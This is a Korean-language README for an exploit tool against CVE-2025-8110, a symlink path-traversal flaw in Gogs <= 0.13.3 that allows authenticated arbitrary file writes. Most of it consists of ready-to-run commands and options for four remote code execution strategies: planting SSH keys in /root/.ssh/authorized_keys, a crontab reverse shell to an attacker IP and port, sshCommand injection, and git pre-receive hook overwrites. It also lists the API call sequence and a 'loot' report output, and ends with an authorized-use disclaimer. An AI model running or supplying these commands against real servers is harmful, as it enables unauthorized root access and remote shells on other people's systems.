
Gogs 심링크 경로 탐색 → RCE
CVE-2025-8110은 Gogs(자체 호스팅 Git 서비스) <= 0.13.3 버전의 치명적인 취약점입니다. PutContents API는 디렉터리 트래버설(../)에 대해 파일 경로를 검증하지만, 쓰기 전에 심볼릭 링크를 해석하지 않습니다. 인증된 사용자는 서버의 모든 파일을 대상으로 하는 심볼릭 링크가 포함된 커밋을 푸시한 다음, 해당 심볼릭 링크에 PutContents를 호출하여 실제 파일을 공격자가 제어하는 콘텐츠로 덮어쓸 수 있습니다.
이는 이전 CVE-2024-55947 수정의 우회입니다. 해당 수정은 직접적인 경로 트래버설만 처리했을 뿐 심볼릭 링크 기반 트래버설은 처리하지 못했습니다.
| 세부 정보 | 값 |
|---|---|
| CVE | CVE-2025-8110 |
| 영향 버전 | Gogs <= 0.13.3 |
| 수정 버전 | Gogs 0.13.4 |
| 유형 | 인증된 임의 파일 쓰기 → RCE |
| CVSS | 8.8 (높음) |
| 구성 요소 | PutContents API (/api/v1/repos/:owner/:repo/contents/:path) |
requests (pip install requests)git CLI이 익스플로잇은 4가지 내장 RCE 전략과 일반 파일 쓰기 모드를 지원합니다:
# 대상이 취약한지 확인 (자격 증명 불필요)
python3 exploit.py http://target:3000 --check-only
# 전략 A: 루트 접근용 SSH 키 심기
python3 exploit.py http://target:3000 -u user -p pass \
--rce-keys ~/.ssh/id_rsa.pub --cleanup
# 전략 B: Crontab 리버스 셸
python3 exploit.py http://target:3000 -u user -p pass \
--rce-cron --lhost 10.10.14.5 --lport 4444
# 전략 C: sshCommand 주입
python3 exploit.py http://target:3000 -u user -p pass \
--rce-ssh --lhost 10.10.14.5 --lport 4444
# 전략 D: Git 훅 주입
python3 exploit.py http://target:3000 -u user -p pass \
--rce-hook --lhost 10.10.14.5 --lport 4444
# 일반 파일 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /tmp/pwned --content "proof-of-concept"
# 로컬 파일에서 쓰기
python3 exploit.py http://target:3000 -u user -p pass \
--write --target-file /root/.ssh/authorized_keys \
--content-file ~/.ssh/id_rsa.pub
POST /api/v1/users/:user/tokens) - API 토큰으로 로그인 (Basic Auth)auto_init: true와 함께 POST /api/v1/user/repos 호출 (POST /api/v1/user/repos (auto_init))PUT /api/v1/repos/:owner/:repo/contents/:link 호출. Gogs가 디스크에서 심볼릭 링크를 해석하여 실제 파일에 기록 (PUT /api/v1/repos/.../contents/linkn_ame)target Gogs 기본 URL (예: http://target:3000)
인증:
-u, --user Gogs 사용자 이름
-p, --password Gogs 비밀번호
RCE 전략:
--rce-keys PUBKEY SSH 공개키 심기 → /root/.ssh/authorized_keys
--rce-cron 리버스 셸 → /etc/crontab
--rce-ssh .git/config sshCommand 오염 + 트리거
--rce-hook pre-receive 훅 덮어쓰기 + 트리거
--write 일반 임의 파일 쓰기
연결 / 페이로드:
--lhost LHOST 리버스 셸용 공격자 IP
--lport LPORT 리버스 셸용 공격자 포트
--target-file PATH 덮어쓸 서버 경로 (--write 모드)
--content STRING 쓸 콘텐츠
--content-file FILE 쓸 로컬 파일
옵션:
--repo NAME 저장소 이름 (기본값: 랜덤)
--cleanup 완료 후 익스플로잇 저장소 삭제
-o, --output FILE 보고서 파일 (기본값: loot.json)
--timeout SECONDS 요청 타임아웃 (기본값: 15)
--proxy URL 디버깅용 HTTP 프록시
--check-only 대상이 Gogs인지만 확인하고 익스플로잇하지 않음
이 도구는 공인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 작성자는 오용에 대해 어떠한 책임도 지지 않습니다. 소유한 시스템 또는 명시적인 서면 테스트 허가를 받은 시스템에서만 사용하십시오.
| 전략 | 플래그 | 대상 파일 | 트리거 |
|---|
| A — SSH 키 | --rce-keys | /root/.ssh/authorized_keys | SSH 로그인 |
| B — Crontab | --rce-cron | /etc/crontab | 자동 (60초 이내) |
| C — sshCommand | --rce-ssh | .git/config | SSH git 작업 |
| D — Git 훅 | --rce-hook | hooks/pre-receive | git push |
| 일반 | --write | 모든 경로 | 수동 |